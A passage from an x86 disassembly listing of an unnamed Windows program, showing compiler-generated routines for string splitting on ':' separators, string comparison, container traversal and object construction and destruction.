; ---------------------------------------------------------------------------


loc_413C10:				; CODE XREF: sub_413B70+95j
		xor	eax, eax


loc_413C12:				; CODE XREF: sub_413B70+9Ej
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016AE
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40200E
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_40147E
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413BF0


loc_413C93:				; CODE XREF: sub_413B70+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413CB9:				; CODE XREF: sub_413B70+26j
					; sub_413B70+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413B70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413D40	proc near		; CODE XREF: sub_401F2Dj
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_413D40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413D60:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401861
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413DA0	proc near		; CODE XREF: sub_40189Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413DA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_401CD0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_413F8E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_402112
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_413F8E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_413F8E
		push	offset byte_446F70
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413E87
		lea	ecx, [edi+2Ah]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017E4


loc_413E56:				; CODE XREF: sub_413DA0+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413E7A
		cmp	cl, bl
		jz	short loc_413E76
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413E7A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413E56


loc_413E76:				; CODE XREF: sub_413DA0+C0j
		xor	eax, eax
		jmp	short loc_413E7F
; ---------------------------------------------------------------------------


loc_413E7A:				; CODE XREF: sub_413DA0+BCj
					; sub_413DA0+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413E7F:				; CODE XREF: sub_413DA0+D8j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413E87:				; CODE XREF: sub_413DA0+A1j
		push	offset byte_446F70
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413EE3
		lea	ecx, [edi+3Fh]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017E4


loc_413EB2:				; CODE XREF: sub_413DA0+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413ED6
		cmp	cl, bl
		jz	short loc_413ED2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413ED6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413EB2


loc_413ED2:				; CODE XREF: sub_413DA0+11Cj
		xor	eax, eax
		jmp	short loc_413EDB
; ---------------------------------------------------------------------------


loc_413ED6:				; CODE XREF: sub_413DA0+118j
					; sub_413DA0+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413EDB:				; CODE XREF: sub_413DA0+134j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413EE3:				; CODE XREF: sub_413DA0+FAj
		push	58h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413F03
		mov	ecx, eax
		call	sub_401D07
		jmp	short loc_413F05
; ---------------------------------------------------------------------------


loc_413F03:				; CODE XREF: sub_413DA0+158j
		xor	eax, eax


loc_413F05:				; CODE XREF: sub_413DA0+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40200E
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40200E
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401406
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_413FDB
; ---------------------------------------------------------------------------


loc_413F8E:				; CODE XREF: sub_413DA0+44j
					; sub_413DA0+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_413FDB:				; CODE XREF: sub_413DA0+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413DA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414090	proc near		; CODE XREF: sub_401D07j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414090	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414120:				; CODE XREF: ___:00401DC0j
		push	0FFFFFFFFh
		push	offset loc_439C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_40189D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414210	proc near		; CODE XREF: sub_401537j
		add	ecx, 6Ch
		jmp	sub_401C62
sub_414210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414230	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414230
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_4367FA
sub_414230	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414273
		mov	ecx, eax
		call	sub_401BE0
; ---------------------------------------------------------------------------
		jmp	short loc_414275
; ---------------------------------------------------------------------------


loc_414273:				; CODE XREF: ___:00414268j
		xor	eax, eax


loc_414275:				; CODE XREF: ___:00414271j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40200E
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40200E
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40200E
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40200E
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401EF1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414360	proc near		; CODE XREF: sub_401BE0j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401424
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414360	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414400:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_439CD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4144D0	proc near		; CODE XREF: sub_401DACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4144D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E1F
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_414580


loc_414535:				; CODE XREF: sub_4144D0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41455D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41455D:				; CODE XREF: sub_4144D0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020A4
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_414535


loc_414580:				; CODE XREF: sub_4144D0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_4145C8
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_4145A3
		push	1
		call	sub_4019DD


loc_4145A3:				; CODE XREF: sub_4144D0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_4145C8:				; CODE XREF: sub_4144D0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4144D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414640	proc near		; CODE XREF: sub_4019DDj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402220
		test	[esp+4+arg_0], 1
		jz	short loc_414658
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414658:				; CODE XREF: sub_414640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414670	proc near		; CODE XREF: sub_402220j
		jmp	sub_401226
sub_414670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_439D20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414759


loc_4146F3:				; CODE XREF: ___:00414757j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_443C94 ; ":"
		push	esi
		push	edx
		call	sub_4016AE
		mov	ecx, ebp
		call	sub_401DAC
		cmp	al, bl
		jnz	short loc_414720
		mov	[esp+13h], bl


loc_414720:				; CODE XREF: ___:0041471Aj
		inc	esi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4146F3


loc_414759:				; CODE XREF: ___:004146F1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4147D0	proc near		; CODE XREF: sub_40210Dj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4147D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	loc_414904
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_4148AE


loc_414844:				; CODE XREF: sub_4147D0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B72
		test	eax, eax
		jz	short loc_41487C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41488B


loc_41487C:				; CODE XREF: sub_4147D0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41488B:				; CODE XREF: sub_4147D0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414844


loc_4148AE:				; CODE XREF: sub_4147D0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_414904
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_402130
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4148D1
		push	1
		call	sub_4016FE


loc_4148D1:				; CODE XREF: sub_4147D0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_414904:				; CODE XREF: sub_4147D0+2Ej
					; sub_4147D0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4147D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149A0	proc near		; CODE XREF: sub_4016FEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A5A
		test	[esp+4+arg_0], 1
		jz	short loc_4149B8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4149B8:				; CODE XREF: sub_4149A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4149A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149D0	proc near		; CODE XREF: sub_401A5Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4149D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4149D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414A60:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_439D98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40210D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414AF0:				; CODE XREF: ___:00401B31j
		push	0FFFFFFFFh
		push	offset loc_439DB8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_414BF7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jz	short loc_414BAF


loc_414B64:				; CODE XREF: ___:00414BADj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_414B8C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414B8C:				; CODE XREF: ___:00414B7Bj
		lea	ecx, [esp+4]
		call	sub_4018B6
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jnz	short loc_414B64


loc_414BAF:				; CODE XREF: ___:00414B62j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414BF7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414BD2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BC9j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414BF7:				; CODE XREF: ___:00414B1Ej
					; ___:00414BB5j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
